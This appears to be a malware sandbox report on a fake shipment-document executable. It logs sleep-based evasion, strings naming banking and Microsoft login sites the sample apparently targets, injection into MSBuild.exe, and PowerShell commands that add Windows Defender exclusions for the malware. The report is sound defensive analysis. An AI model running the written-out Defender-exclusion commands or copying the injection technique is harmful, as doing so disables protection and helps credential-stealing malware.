Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7788	Thread sleep time: -599401s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7788	Thread sleep time: -599219s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7788	Thread sleep time: -598983s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7788	Thread sleep time: -598860s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7788	Thread sleep time: -598735s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7788	Thread sleep time: -598610s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7788	Thread sleep time: -598485s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7788	Thread sleep time: -598370s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7788	Thread sleep time: -598250s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7788	Thread sleep time: -598141s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7788	Thread sleep time: -598016s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7788	Thread sleep time: -597906s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7788	Thread sleep time: -597797s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7788	Thread sleep time: -597687s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7788	Thread sleep time: -597563s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7788	Thread sleep time: -597438s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7788	Thread sleep time: -597325s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7788	Thread sleep time: -597203s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7788	Thread sleep time: -597094s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7788	Thread sleep time: -596984s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7788	Thread sleep time: -596844s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7788	Thread sleep time: -596719s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7788	Thread sleep time: -596609s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7788	Thread sleep time: -596498s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7788	Thread sleep time: -596387s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7788	Thread sleep time: -596258s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7788	Thread sleep time: -596141s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7788	Thread sleep time: -596016s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7788	Thread sleep time: -595906s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7788	Thread sleep time: -595797s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7788	Thread sleep time: -595687s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7788	Thread sleep time: -595563s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7788	Thread sleep time: -595438s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7788	Thread sleep time: -595313s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7788	Thread sleep time: -595203s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7788	Thread sleep time: -595094s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7788	Thread sleep time: -594984s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7788	Thread sleep time: -594860s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7788	Thread sleep time: -594750s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7788	Thread sleep time: -594641s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7788	Thread sleep time: -594531s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7788	Thread sleep time: -594406s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7788	Thread sleep time: -594297s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7788	Thread sleep time: -594187s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7788	Thread sleep time: -594078s >= -30000s

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\Shipment 990847575203.pdf.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 599890	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 599781	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 599672	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 599562	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 599453	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 599344	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 599234	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 599125	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 599016	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 598906	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 598797	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 598687	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 598578	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 598469	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 598344	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 598234	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 598125	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 598015	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 597906	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 597797	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 597687	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 597578	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 597469	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 597344	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 597234	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 597125	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 597016	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 596906	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 596797	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 596687	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 596578	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 596469	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 596359	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 596250	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 596141	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 596016	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 595891	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 595781	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 595672	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 595547	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 595437	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 595328	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 595219	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 595109	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 595000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 594890	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 594781	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 594672	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 594562	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FZcXKpA.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 600000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 599875
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 599764
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 599641
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 599516
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 599401
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 599219
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 598983
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 598860
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 598735
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 598610
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 598485
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 598370
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 598250
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 598141
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 598016
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 597906
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 597797
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 597687
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 597563
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 597438
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 597325
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 597203
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 597094
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 596984
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 596844
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 596719
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 596609
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 596498
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 596387
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 596258
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 596141
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 596016
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 595906
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 595797
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 595687
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 595563
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 595438
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 595313
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 595203
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 595094
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 594984
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 594860
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 594750
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 594641
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 594531
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 594406
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 594297
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 594187
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 594078

Source: MSBuild.exe, 00000011.00000002.3583881759.0000000004341000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: MSBuild.exe, 00000011.00000002.3583881759.0000000004341000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: MSBuild.exe, 00000011.00000002.3583881759.0000000004341000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: Shipment 990847575203.pdf.exe, 00000000.00000002.2423614663.00000000042C9000.00000004.00000800.00020000.00000000.sdmp, Shipment 990847575203.pdf.exe, 00000000.00000002.2440674373.0000000008050000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: HGfsvbGkGW
Source: MSBuild.exe, 00000011.00000002.3583881759.0000000004341000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696487552f
Source: MSBuild.exe, 00000011.00000002.3583881759.0000000004341000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: MSBuild.exe, 00000011.00000002.3583881759.0000000004341000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: MSBuild.exe, 00000011.00000002.3583881759.0000000004341000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: MSBuild.exe, 00000011.00000002.3583881759.0000000004341000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: MSBuild.exe, 00000011.00000002.3583881759.0000000004341000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: MSBuild.exe, 00000011.00000002.3583881759.0000000004341000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696487552
Source: MSBuild.exe, 00000011.00000002.3583881759.0000000004341000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: MSBuild.exe, 00000011.00000002.3574776920.0000000001237000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dlla
Source: MSBuild.exe, 00000011.00000002.3583881759.0000000004341000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696487552
Source: MSBuild.exe, 00000009.00000002.3575088087.0000000000B36000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: MSBuild.exe, 00000011.00000002.3583881759.0000000004341000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: MSBuild.exe, 00000011.00000002.3583881759.0000000004341000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: MSBuild.exe, 00000011.00000002.3583881759.0000000004341000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: MSBuild.exe, 00000011.00000002.3583881759.0000000004341000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: MSBuild.exe, 00000011.00000002.3583881759.0000000004341000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: MSBuild.exe, 00000011.00000002.3583881759.0000000004341000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: MSBuild.exe, 00000011.00000002.3583881759.0000000004341000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: MSBuild.exe, 00000011.00000002.3583881759.0000000004341000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: MSBuild.exe, 00000011.00000002.3583881759.0000000004341000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: MSBuild.exe, 00000011.00000002.3583881759.0000000004341000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: MSBuild.exe, 00000011.00000002.3583881759.0000000004341000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: MSBuild.exe, 00000011.00000002.3583881759.0000000004341000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: MSBuild.exe, 00000011.00000002.3583881759.0000000004341000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: MSBuild.exe, 00000011.00000002.3583881759.0000000004341000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: MSBuild.exe, 00000011.00000002.3583881759.0000000004341000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: MSBuild.exe, 00000011.00000002.3583881759.0000000004341000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: MSBuild.exe, 00000011.00000002.3583881759.0000000004341000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: MSBuild.exe, 00000011.00000002.3583881759.0000000004341000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: MSBuild.exe, 00000011.00000002.3583881759.0000000004341000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 17_2_06AB9548 LdrInitializeThunk,

17_2_06AB9548

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process token adjusted: Debug	Jump to behavior

Source: C:\Users\user\Desktop\Shipment 990847575203.pdf.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Adds a directory exclusion to Windows Defender

Source: C:\Users\user\Desktop\Shipment 990847575203.pdf.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\Shipment 990847575203.pdf.exe"
Source: C:\Users\user\Desktop\Shipment 990847575203.pdf.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\FZcXKpA.exe"
Source: C:\Users\user\Desktop\Shipment 990847575203.pdf.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\Shipment 990847575203.pdf.exe"	Jump to behavior
Source: C:\Users\user\Desktop\Shipment 990847575203.pdf.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\FZcXKpA.exe"	Jump to behavior

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\Shipment 990847575203.pdf.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000 protect: page execute and read and write			Jump to behavior
Source: C:\Users\user\AppData\Roaming\FZcXKpA.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000 protect: page execute and read and write			Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\Shipment 990847575203.pdf.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000 value starts with: 4D5A			Jump to behavior
Source: C:\Users\user\AppData\Roaming\FZcXKpA.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000 value starts with: 4D5A			Jump to behavior

Writes to foreign memory regions

Source: C:\Users\user\Desktop\Shipment 990847575203.pdf.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\Shipment 990847575203.pdf.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 402000	Jump to behavior
Source: C:\Users\user\Desktop\Shipment 990847575203.pdf.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 446000	Jump to behavior
Source: C:\Users\user\Desktop\Shipment 990847575203.pdf.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 448000	Jump to behavior
Source: C:\Users\user\Desktop\Shipment 990847575203.pdf.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 61A008	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FZcXKpA.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FZcXKpA.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 402000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FZcXKpA.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 446000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FZcXKpA.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 448000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FZcXKpA.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: F51008	Jump to behavior

Source: C:\Users\user\Desktop\Shipment 990847575203.pdf.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\Shipment 990847575203.pdf.exe"	Jump to behavior
